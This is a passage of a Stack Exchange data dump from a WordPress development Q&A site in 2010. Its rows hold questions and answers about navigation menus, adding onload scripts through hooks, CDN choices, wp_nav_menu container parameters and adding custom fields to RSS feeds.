&lt;code&gt;wp_get_nav_menu_items()&lt;/code&gt; indirectly just calls the &lt;code&gt;get_posts()&lt;/code&gt; function. The first parameter to &lt;code&gt;wp_get_nav_menu_items()&lt;/code&gt; is either 1.) a menu name (which is what I used: &lt;em&gt;&quot;My Select Menu&quot;&lt;/em&gt;), 2.) a menu item ID (i.e. the menu item's post &lt;code&gt;ID&lt;/code&gt; the database) or 3.) a menu slug (the slug from the menu's taxonomy term; yes menus are implemented using taxonomy terms with a taxonomy of &lt;code&gt;'nav_menu'&lt;/code&gt;.)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;http://mikeschinkel.com/websnaps/skitched-20100825-010542.png&quot; alt=&quot;Menu Configuration in WordPress 3.0&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Beyond the first parameter it forwards on to &lt;code&gt;get_posts()&lt;/code&gt; most (if not all?) of the &lt;code&gt;$args&lt;/code&gt; you pass to &lt;code&gt;wp_get_nav_menu_items()&lt;/code&gt; thus you can treat it like a custom post type (even though longer term when they improve the menu API that probably won't be such a great idea. But today? Make hay while the sun shines!) &lt;/p&gt;&#xA;&#xA;&lt;h2&gt;Filtering Menu Items with &lt;code&gt;meta_key&lt;/code&gt; and &lt;code&gt;meta_value&lt;/code&gt;&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;WordPress' underlying use of posts for menu items is why we can query for &lt;code&gt;meta_key&lt;/code&gt; and &lt;code&gt;meta_value&lt;/code&gt;; WordPress uses a series of &lt;code&gt;meta_keys&lt;/code&gt; prefixed with &lt;code&gt;_menu_item&lt;/code&gt; for the additional information it needs for each menu item. &lt;code&gt;_menu_item_object&lt;/code&gt; will contain &lt;code&gt;page&lt;/code&gt; for every menu item that corresponds to a WordPress &lt;em&gt;&quot;Page&quot;&lt;/em&gt; post type. (If you want to include items besides Pages you you'll need to do a bit more research than I did here but at least I gave you the tools you need to do the research yourself.)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here's a screenshot using &lt;a href=&quot;http://www.navicat.com/en/products/navicat_mysql/mysql_overview.html&quot; rel=&quot;nofollow&quot;&gt;Navicat for MySQL&lt;/a&gt; of a query showing the meta records for several &lt;code&gt;nav_menu_items&lt;/code&gt;:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;http://mikeschinkel.com/websnaps/skitched-20100825-011357.png&quot; alt=&quot;Menu Item Configuration found in wp_postmeta with WordPress 3.0&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;Grabbing the Page's URL with &lt;code&gt;get_post_link()&lt;/code&gt;&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;Next I'll point out that get the page's URL from the &lt;code&gt;get_post_link()&lt;/code&gt; function and that I'm setting the HTML &lt;code&gt;&amp;lt;option&amp;gt;&lt;/code&gt;'s &lt;code&gt;value&lt;/code&gt; to be the URL...&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;    $link = get_page_link($page_menu_item-&amp;gt;object_id);&#xA;    $selector[] =&amp;lt;&amp;lt;&amp;lt;HTML&#xA;&amp;lt;option value=&quot;{$link}&quot;&amp;gt;{$page_menu_item-&amp;gt;title}&amp;lt;/option&amp;gt;&#xA;HTML;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;h2&gt;Using Javascript's &lt;code&gt;onchange&lt;/code&gt; to Navigate to our Selected Page&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;...So that I can grab it from the &lt;code&gt;value&lt;/code&gt; property of the &lt;code&gt;'page-selector'&lt;/code&gt; &lt;code&gt;&amp;lt;select&amp;gt;&lt;/code&gt; element and assign it to &lt;code&gt;location.href&lt;/code&gt;. Assigning &lt;code&gt;location.href&lt;/code&gt; causes the browser to immediately navigate to the new URL, and that, in a nutshell, is how it's all done:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;  $selector[] =&amp;lt;&amp;lt;&amp;lt;HTML&#xA;&amp;lt;select id=&quot;page-selector&quot; name=&quot;page-selector&quot;&#xA;    onchange=&quot;location.href = document.getElementById('page-selector').value;&quot;&amp;gt;&#xA;HTML;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;h2&gt;An Empty &lt;code&gt;value=&quot;&quot;&lt;/code&gt; as the Default Option&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;You might note that the &lt;em&gt;&quot;Select a Page&quot;&lt;/em&gt; default option has an empty value; that's not a mistake but instead by design. When it is selected and the &lt;code&gt;&quot;onchange&quot;&lt;/code&gt; is triggered&lt;sup&gt;&lt;b&gt;1&lt;/b&gt;&lt;/sup&gt;  setting &lt;code&gt;location.href&lt;/code&gt; to an empty string will have no effect, which is exactly what we want and it doesn't require us to write an exception code. &lt;em&gt;Viola!&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;    $selector[] = '&amp;lt;option value=&quot;&quot;&amp;gt;Select a Page&amp;lt;/option&amp;gt;';&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Having selection of &lt;em&gt;&quot;Select a Page&quot;&lt;/em&gt; trigger &lt;code&gt;&quot;onchange&quot;&lt;/code&gt; can only happen on a browser back navigation to a page that doesn't trigger a page reload where another option had previously been selected, but it can still happen so we should address it.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="89" LastEditorUserId="89" LastEditorDisplayName="" LastEditDate="2010-08-25T20:49:23.393" LastActivityDate="2010-08-25T20:49:23.393" CommentCount="9" />
  <row Id="878" PostTypeId="2" ParentId="840" CreationDate="2010-08-25T06:20:46.217" Score="1" ViewCount="" Body="&lt;p&gt;Yes and no. The main 'uncategorized' category is the main one built into the core, and shouldn't be removed. You can rename it to something else. If they are still attached to the posts, then you could delete it from the database tables directly.&lt;/p&gt;&#xA;" OwnerUserId="403" LastActivityDate="2010-08-25T06:20:46.217" CommentCount="2" />
  <row Id="879" PostTypeId="1" AcceptedAnswerId="937" CreationDate="2010-08-25T06:24:15.053" Score="1" ViewCount="1170" Body="&lt;p&gt;I'm currently trying to develop a plugin that will embed a Google Earth Tour into a WP post / page via a shortcode. The issue I am running into is that for the tour to load, I have to add an onload=&quot;init()&quot; into the  tag. I can modify a specific template file, but since this is for release, I need to add it dynamically via a hook. Any ideas?&lt;/p&gt;&#xA;" OwnerUserId="403" LastActivityDate="2010-08-26T14:58:06.737" Title="Adding onload to body" Tags="&lt;hooks&gt;&lt;javascript&gt;&lt;plugins&gt;" AnswerCount="5" CommentCount="1" />
  <row Id="880" PostTypeId="2" ParentId="879" CreationDate="2010-08-25T07:50:12.993" Score="1" ViewCount="" Body="&lt;p&gt;Ignoring the potential to do this with jQuery one thing you could do is &lt;strong&gt;hook the &lt;code&gt;template_include&lt;/code&gt; filter and use &lt;code&gt;ob_start()&lt;/code&gt;&lt;/strong&gt; with a callback. Your callback can then do a string search on &lt;code&gt;'&amp;lt;body'&lt;/code&gt; and replace it with &lt;code&gt;'&amp;lt;body onload=&quot;init()&quot;'&lt;/code&gt; like the following code does. You should be able to drop it directly in your plugin, just be sure to change the names to follow your plugin's own naming convention:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;add_filter('template_include','start_buffer_capture',1);&#xA;function start_buffer_capture($template) {&#xA;  ob_start('end_buffer_capture');  // Start Page Buffer&#xA;  return $template;&#xA;}&#xA;function end_buffer_capture($buffer) {&#xA;  return str_replace('&amp;lt;body','&amp;lt;body onload=&quot;init()&quot;',$buffer);&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Note that I would not assume the above code to be fully robust yet if I were you. I doubt it will handle all edge cases since I just threw it together to answer your question but minimally it shows you how to accomplish the normal case, and then with some use-case testing I'm sure you'' get it to handle all the important edge cases (like what if &lt;code&gt;'&amp;lt;BODY'&lt;/code&gt; is uppercase, etc?)&lt;/p&gt;&#xA;" OwnerUserId="89" LastActivityDate="2010-08-25T07:50:12.993" />
  <row Id="881" PostTypeId="2" ParentId="875" CreationDate="2010-08-25T09:21:20.167" Score="0" ViewCount="" Body="&lt;p&gt;Unless you're concerned about not mixing your main site (I assume running on Wordpress) with the Demo Site, I suggest you seperate both from each other, so to have a dedicated webspace for the demo only which is not connected to your main site. This could be done via a subdomain.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Next to that I would create an auto-install script that does create a new install from time to time while resetting the whole demo-server. This will enable your users to play around with the Demo (remember those are admins) while you have the site automatically maintained.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you need to reduce the users rights so that they are limited in the way to deal with your demo site, EAMann already made some valuable suggestions.&lt;/p&gt;&#xA;" OwnerUserId="178" LastEditorUserId="178" LastEditorDisplayName="" LastEditDate="2010-08-25T17:02:30.690" LastActivityDate="2010-08-25T17:02:30.690" />
  <row Id="882" PostTypeId="2" ParentId="879" CreationDate="2010-08-25T10:49:35.817" Score="1" ViewCount="" Body="&lt;p&gt;Here's some JavaScript to dynamically add a callback to the page load, with or without jQuery:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function add_onload() {&#xA;    ?&amp;gt;&#xA;    &amp;lt;script type=&quot;text/javascript&quot;&amp;gt;&#xA;    my_onload_callback = function() { alert('Hello!'); }; // test function&#xA;&#xA;    if( typeof jQuery == &quot;function&quot; ) { &#xA;        jQuery(my_onload_callback); // document.ready&#xA;    } else {&#xA;        document.getElementsByTagName('body')[0].onload = my_onload_callback; // body.onload&#xA;    }&#xA;    &amp;lt;/script&amp;gt;&#xA;    &amp;lt;?php&#xA;}&#xA;add_action( 'wp_footer', 'add_onload' );&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;In your case you would just replace the my_onload_callbacks with your init method.&lt;/p&gt;&#xA;" OwnerUserId="66" LastActivityDate="2010-08-25T10:49:35.817" CommentCount="0" />
  <row Id="883" PostTypeId="2" ParentId="807" CreationDate="2010-08-25T11:13:31.807" Score="0" ViewCount="" Body="&lt;p&gt;Just found &lt;a href=&quot;http://codex.wordpress.org/Using_Alternative_Databases&quot; rel=&quot;nofollow&quot;&gt;this Codex page&lt;/a&gt; which sums it up nicely, including overview of solutions proposed and/or planned by the people who develop WordPress. Let's see how it comes out.&lt;/p&gt;&#xA;" OwnerUserId="155" LastActivityDate="2010-08-25T11:13:31.807" />
  <row Id="884" PostTypeId="2" ParentId="145" CreationDate="2010-08-25T12:34:22.747" Score="3" ViewCount="" Body="&lt;p&gt;Use &lt;a href=&quot;http://www.xdebug.org/&quot; rel=&quot;nofollow&quot;&gt;xdebug&lt;/a&gt; + NetBeans IDE. When fully configured - which is easy to do - you can set break points in your plugin and watch variables at the break points.  I think it is the best way to debug plugins or any php applications for that matter. &lt;/p&gt;&#xA;" LastActivityDate="2010-08-25T12:34:22.747" />
  <row Id="885" PostTypeId="2" ParentId="841" CreationDate="2010-08-25T13:17:09.447" Score="2" ViewCount="" Body="&lt;p&gt;And &lt;a href=&quot;http://wordpress.org/extend/plugins/widget-logic/&quot; rel=&quot;nofollow&quot;&gt;Widget Logic&lt;/a&gt; is also an option.&lt;/p&gt;&#xA;" OwnerUserId="61" LastActivityDate="2010-08-25T13:17:09.447" />
  <row Id="886" PostTypeId="2" ParentId="879" CreationDate="2010-08-25T14:09:08.903" Score="3" ViewCount="" Body="&lt;p&gt;Here's an approach. You would add the the &lt;code&gt;add_action()&lt;/code&gt; call inside your hook, I believe. The JavaScript I include presumes that the init function has already been defined. If it has not, then this will fail, but including the script seems like a problem you've already solved if I'm understanding you right. Note that you don't necessarily need to add it to &lt;code&gt;wp_foot&lt;/code&gt;, you could just as easily add it to &lt;code&gt;wp_head&lt;/code&gt;:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;&#xA;function mypluginprefix_onload_init() { ?&amp;gt;&#xA;&amp;lt;script language=&quot;text/javascript&quot;&amp;gt;&#xA;// check for the standards-compliant way to add onload events&#xA;if ( typeof(window.addEventListener) !== 'undefined' )&#xA;    window.addEventListener( &quot;load&quot;, init, false );&#xA;// or the older msie nonstandard way&#xA;else if ( typeof(window.attachEvent) !== 'undefined' ) {&#xA;    window.attachEvent( &quot;onload&quot;, init );&#xA;}&#xA;&amp;lt;/script&amp;gt;&#xA;&amp;lt;?php }&#xA;&#xA;// this goes in your hook&#xA;add_action('wp_foot', 'mypluginprefix_onload_event');&#xA;?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="12" LastActivityDate="2010-08-25T14:09:08.903" CommentCount="2" />
  <row Id="887" PostTypeId="2" ParentId="879" CreationDate="2010-08-25T14:18:20.573" Score="3" ViewCount="" Body="&lt;p&gt;And here's a jQuery solution (as Mike suggested in his first comment).&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function add_my_scripts() {&#xA;    wp_enqueue_script('jquery');&#xA;    wp_enqueue_script('my_init_script', SCRIPTSRC, 'jquery', '1.0');&#xA;}&#xA;add_action('init', 'add_my_scripts');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Then add a script to your plug-in that does this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;jQuery.noConflict();&#xA;&#xA;jQuery(document).ready(function($) {&#xA;    init();&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This will start jQuery in no conflict mode (if it isn't already) and add a call to the &lt;code&gt;init()&lt;/code&gt; method when the document is ready.  It's a safer method to use than &lt;code&gt;body onready()&lt;/code&gt; because the &lt;code&gt;onready()&lt;/code&gt; function can only call one thing ... so no one else can hook anything to that or add custom script.  It's better to make your plug-in as unobtrusive as possible so other plug-ins don't interfere or vice-versa.&lt;/p&gt;&#xA;" OwnerUserId="46" LastActivityDate="2010-08-25T14:18:20.573" CommentCount="7" />
  <row Id="888" PostTypeId="2" ParentId="835" CreationDate="2010-08-25T14:28:05.730" Score="3" ViewCount="" Body="&lt;h2&gt;Amazon CloudFront&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;Amazon CloudFront is an CDN 'wrapper' around Amazon's S3 service. Distributions can be created from existing S3 buckets, and when a file is requested from it's CloudFront URL it is either served from the nearest edge locations's cache or fetched from S3 and cached.&lt;/p&gt;&#xA;&#xA;&lt;h3&gt;Plugins&lt;/h3&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://wordpress.org/extend/plugins/my-cdn/&quot; rel=&quot;nofollow&quot;&gt;My CDN&lt;/a&gt; - handles URL rewriting of JS, CSS, and other theme resources. This plugin only handles the URL rewriting and not actually transferring files into Amazon S3.&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://wordpress.org/extend/plugins/w3-total-cache/&quot; rel=&quot;nofollow&quot;&gt;W3 Total Cache&lt;/a&gt; - A more comprehensive plugin, handles Cloudfront integration as well as other techniques to improve page load times, such as caching and minification.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;h3&gt;Pros&lt;/h3&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Low barrier to entry - you don't buy bandwidth upfront, instead paying for what you use.&lt;/li&gt;&#xA;&lt;li&gt;Quick to setup&lt;/li&gt;&#xA;&lt;li&gt;A variety of tools and programs are available for managing the files you have on S3/CloudFront&lt;/li&gt;&#xA;&lt;li&gt;Supports media streaming&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;h3&gt;Cons&lt;/h3&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Relatively expensive compared to some other services where bandwidth is purchased in advance&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;h3&gt;Use Cases&lt;/h3&gt;&#xA;&#xA;&lt;p&gt;Amazon lists a few use cases on their &lt;a href=&quot;http://aws.amazon.com/cloudfront&quot; rel=&quot;nofollow&quot;&gt;CloudFront product page&lt;/a&gt;, including hosting frequently accessed content, distributing software, and publishing media files.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In terms of businesses using CloudFront as their CDN, &lt;a href=&quot;http://lindenlab.com/&quot; rel=&quot;nofollow&quot;&gt;Linden Lab&lt;/a&gt; (the makers of Second Life) use CF for distributing their software client, while storing other files on S3. Amazon also has a very &lt;a href=&quot;http://aws.amazon.com/solutions/case-studies/photowall/&quot; rel=&quot;nofollow&quot;&gt;good case study&lt;/a&gt; on how &lt;a href=&quot;http://www.photowall.com/&quot; rel=&quot;nofollow&quot;&gt;photoWALL&lt;/a&gt; uses CF (and the other infrastructure AWS offers)&lt;/p&gt;&#xA;" OwnerUserId="25" LastActivityDate="2010-08-25T14:28:05.730" CommentCount="2" />
  <row Id="889" PostTypeId="1" AcceptedAnswerId="890" CreationDate="2010-08-25T14:58:30.083" Score="2" ViewCount="70" Body="&lt;p&gt;I would like to use Google Search as opposed to the built-in search provided by the Wordpress engine. What would be the best way to integrate Google Search?&lt;/p&gt;&#xA;" OwnerUserId="92" LastActivityDate="2010-08-25T18:24:12.890" Title="Best way to Integrate Google Search?" Tags="&lt;options&gt;&lt;search&gt;&lt;google-search&gt;" AnswerCount="1" FavoriteCount="1" />
  <row Id="890" PostTypeId="2" ParentId="889" CreationDate="2010-08-25T15:03:45.550" Score="1" ViewCount="" Body="&lt;p&gt;There are a couple of plugins that provide this functionality:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;strong&gt;&lt;a href=&quot;http://wordpress.org/extend/plugins/google-custom-search-for-wordpress/&quot; rel=&quot;nofollow&quot;&gt;Google Custom Search Plugin&lt;/a&gt;&lt;/strong&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;strong&gt;&lt;a href=&quot;http://wordpress.org/extend/plugins/google-ajax-search/&quot; rel=&quot;nofollow&quot;&gt;Google Ajax Search&lt;/a&gt;&lt;/strong&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="49" LastEditorUserId="89" LastEditorDisplayName="" LastEditDate="2010-08-25T18:24:12.890" LastActivityDate="2010-08-25T18:24:12.890" />
  <row Id="891" PostTypeId="1" CreationDate="2010-08-25T15:05:52.563" Score="2" ViewCount="1736" Body="&lt;p&gt;So today I started work on my first Wordpress theme and so far it's been a  lot of fun. However, I have had difficulty in getting wp_nav_menu() to do what I want.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here's what I want:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;nav id=&quot;topnav&quot; class=&quot;menu&quot;&amp;gt;&#xA;   &amp;lt;ul&amp;gt;&#xA;      &amp;lt;li class=&quot;current_page_item&quot;&amp;gt;&amp;lt;a href=&quot;#&quot; title=&quot;Home&quot;&amp;gt;Home&amp;lt;/a&amp;gt;&amp;lt;/li&amp;gt;&#xA;      &amp;lt;li class=&quot;page_item page-item-2&quot;&amp;gt;&amp;lt;a href=&quot;#&quot; title=&quot;About&quot;&amp;gt;About&amp;lt;/a&amp;gt;&amp;lt;/li&amp;gt;&#xA;   &amp;lt;/ul&amp;gt;&#xA;&amp;lt;/nav&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Looking in the documentation, I would expect the following call to do what I want:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php wp_nav_menu(array( 'container' =&amp;gt; 'nav', 'container_id' =&amp;gt; 'topnav' )); ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;But instead I get this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;div class=&quot;menu&quot;&amp;gt;&#xA;   &amp;lt;ul&amp;gt;&#xA;      &amp;lt;li class=&quot;current_page_item&quot;&amp;gt;&amp;lt;a href=&quot;#&quot; title=&quot;Home&quot;&amp;gt;Home&amp;lt;/a&amp;gt;&amp;lt;/li&amp;gt;&#xA;      &amp;lt;li class=&quot;page_item page-item-2&quot;&amp;gt;&amp;lt;a href=&quot;#&quot; title=&quot;About&quot;&amp;gt;About&amp;lt;/a&amp;gt;&amp;lt;/li&amp;gt;&#xA;   &amp;lt;/ul&amp;gt;&#xA;&amp;lt;/div&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;To me it looks like my custom parameters are being ignored as the output from &lt;code&gt;wp_nav_menu()&lt;/code&gt; is exactly the same. Is there something I need to turn on somewhere to enable this or is there something else going on?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;EDIT&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Curiously, if I change &lt;code&gt;menu_class&lt;/code&gt; it alters the div's class (I expected the div to be the container) but changing &lt;code&gt;menu_id&lt;/code&gt; does nothing.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;EDIT 2&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Even going into nav-menu-template.php and changing the defaults for container, container_id, container_class, menu_id does nothing. Changing menu_class to yyy will change the div's class from menu to yyy.&lt;/p&gt;&#xA;" OwnerUserId="408" LastEditorUserId="178" LastEditorDisplayName="" LastEditDate="2010-08-25T16:59:53.910" LastActivityDate="2011-02-14T21:58:51.187" Title="wp_nav_menu() custom container and container_id" Tags="&lt;3.0&gt;&lt;theme-development&gt;&lt;custom-menus&gt;" AnswerCount="4" CommentCount="2" FavoriteCount="1" />
  <row Id="893" PostTypeId="2" ParentId="891" CreationDate="2010-08-25T15:24:40.520" Score="1" ViewCount="" Body="&lt;p&gt;First of all, you won't be able to get WordPress to output any kind of &lt;code&gt;&amp;lt;nav&amp;gt;&lt;/code&gt; element using native functions.  &lt;code&gt;&amp;lt;nav&amp;gt;&lt;/code&gt; is an HTML5 tag, and WordPress is built to generate XHTML output ... i.e. no &lt;code&gt;&amp;lt;nav&amp;gt;&lt;/code&gt; element.&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;&lt;strong&gt;Edit:&lt;/strong&gt; Apparently the function does allow &lt;code&gt;nav&lt;/code&gt; ... but keep in mind that the rest of the WordPress core is still built to output XHTML, not HTML5 ... take care to make sure your site validates properly.&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;Try removing that reference ... it might be causing the error that's ignoring your &lt;code&gt;'container_id' =&amp;gt; 'topnav'&lt;/code&gt; instruction.  If things work right without the reference to &lt;code&gt;nav&lt;/code&gt; you should have this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;div id=&quot;topnav&quot; class=&quot;menu&quot;&amp;gt;&#xA;   &amp;lt;ul&amp;gt;&#xA;      &amp;lt;li class=&quot;current_page_item&quot;&amp;gt;&amp;lt;a href=&quot;#&quot; title=&quot;Home&quot;&amp;gt;Home&amp;lt;/a&amp;gt;&amp;lt;/li&amp;gt;&#xA;      &amp;lt;li class=&quot;page_item page-item-2&quot;&amp;gt;&amp;lt;a href=&quot;#&quot; title=&quot;About&quot;&amp;gt;About&amp;lt;/a&amp;gt;&amp;lt;/li&amp;gt;&#xA;   &amp;lt;/ul&amp;gt;&#xA;&amp;lt;/div&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="46" LastEditorUserId="46" LastEditorDisplayName="" LastEditDate="2010-08-25T15:41:18.183" LastActivityDate="2010-08-25T15:41:18.183" CommentCount="4" />
  <row Id="894" PostTypeId="1" CreationDate="2010-08-25T15:35:21.933" Score="1" ViewCount="384" Body="&lt;p&gt;Using Wordpress 3, creating write panels with Magic Fields, how do I add custom fields to my RSS feed?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For example, I have an 'image of the day' write panel, with a custom field for the photo credit. How can I include all that as part of my feed?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks.&lt;/p&gt;&#xA;" OwnerUserId="167" LastActivityDate="2010-08-26T18:18:22.893" Title="Best way to add custom / magic / flutter fields into RSS feed" Tags="&lt;custom-field&gt;&lt;flutter&gt;" AnswerCount="2" />
  <row Id="895" PostTypeId="1" AcceptedAnswerId="915" CreationDate="2010-08-25T15:43:03.377" Score="1" ViewCount="162" Body="&lt;p&gt;what  is option_name on database that store the information of  current initiate widget in frontend sidebar ?&lt;/p&gt;&#xA;" OwnerUserId="365" LastActivityDate="2010-08-26T03:08:03.477" Title="what is option_name on database that store the information of current initiate widget in frontend sidebar?" Tags="&lt;widgets&gt;" AnswerCount="2" CommentCount="3" />
  <row Id="896" PostTypeId="2" ParentId="894" CreationDate="2010-08-25T15:50:02.720" Score="0" ViewCount="" Body="&lt;p&gt;You can hook into your feed with the according filters and then add your stuff.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Basically &lt;a href=&quot;http://codex.wordpress.org/Plugin_API/Filter_Reference/the_content_rss&quot; rel=&quot;nofollow&quot;&gt;that codex page&lt;/a&gt; suggests (and that's still valid, you find the feed templates inside  &lt;code&gt;/wp-includes/&lt;/code&gt;, the files start with &lt;code&gt;feed-&lt;/code&gt;) that you hook into &lt;code&gt;the_content&lt;/code&gt; and you check with &lt;a href=&quot;http://codex.wordpress.org/Function_Reference/is_feed&quot; rel=&quot;nofollow&quot;&gt;&lt;code&gt;is_feed()&lt;/code&gt;&lt;/a&gt; if you need to modify the content for the feed.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To save you some hassles, you can register your whole plugin to activate on the &lt;code&gt;do_feed_rss2&lt;/code&gt; (or whichever you use) hook, so you do not need to check for &lt;code&gt;is_feed()&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The contents of magic fields (custom fields to be precise) can be read out with existing functions, you find the documentation here: &lt;a href=&quot;http://codex.wordpress.org/Custom_Fields&quot; rel=&quot;nofollow&quot;&gt;Custom Fields&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="178" LastActivityDate="2010-08-25T15:50:02.720" />
  <row Id="897" PostTypeId="2" ParentId="891" CreationDate="2010-08-25T16:56:44.867" Score="1" ViewCount="" Body="&lt;p&gt;The Menu API is partially broken, you can not rely on the output. There are diverse tickets in trac regarding that, I only did a quick search, but maybe a solution for your problem is explained in one of them: &lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://core.trac.wordpress.org/ticket/14560&quot; rel=&quot;nofollow&quot;&gt;#14560 - class 'current-page-parent' is being to the parent page and to the parent page of other menu items&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://core.trac.wordpress.org/ticket/14529&quot; rel=&quot;nofollow&quot;&gt;#14529 - wp_nav_menu() gives different results when called multiple times - reproducable&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://core.trac.wordpress.org/ticket/14208&quot; rel=&quot;nofollow&quot;&gt;#14208 - by adding a custom menu with the url without the slash (/) the menu dont active in front page&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://core.trac.wordpress.org/ticket/14250&quot; rel=&quot;nofollow&quot;&gt;#14250 - wp_nav_menu separator and first last class&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="178" LastActivityDate="2010-08-25T16:56:44.867" CommentCount="1" />
  <row Id="898" PostTypeId="1" CreationDate="2010-08-25T17:08:52.473" Score="2" ViewCount="275" Body="&lt;p&gt;Is there a plugin that will post directly to your facebook feed and twitter account?&#xA;I'm not looking for a plugin that adds buttons to my post for different services, I want the plugin to publish the content directly to Twitter and Facebook upon the first publish.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've tried Wordbook (x2), Wordbooker, and a ton of others, doesnt seem like it should be that hard.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any ideas?&lt;/p&gt;&#xA;" OwnerUserId="410" LastActivityDate="2010-08-27T14:01:59.703" Title="Is there a plugin that will post directly to your facebook feed and twitter account?" Tags="&lt;plugins&gt;&lt;twitter&gt;&lt;facebook&gt;" AnswerCount="5" FavoriteCount="1" />
  <row Id="899" PostTypeId="2" ParentId="898" CreationDate="2010-08-25T17:15:18.423" Score="1" ViewCount="" Body="&lt;p&gt;I use &lt;a href=&quot;http://wordpress.org/extend/plugins/twitter-tools/&quot; rel=&quot;nofollow&quot;&gt;Twitter Tools&lt;/a&gt; to post directly to Twitter, and I have Twitter integrated with Facebook using the direct integration tools of &lt;a href=&quot;http://apps.facebook.com/twitter/&quot; rel=&quot;nofollow&quot;&gt;Facebook's Twitter app&lt;/a&gt;.  This allows my posts to be syndicated via Twitter (and then to Facebook) and allows me to continue sending Twitter messages (which then go to Facebook).&lt;/p&gt;&#xA;" OwnerUserId="46" LastActivityDate="2010-08-25T17:15:18.423" CommentCount="3" />
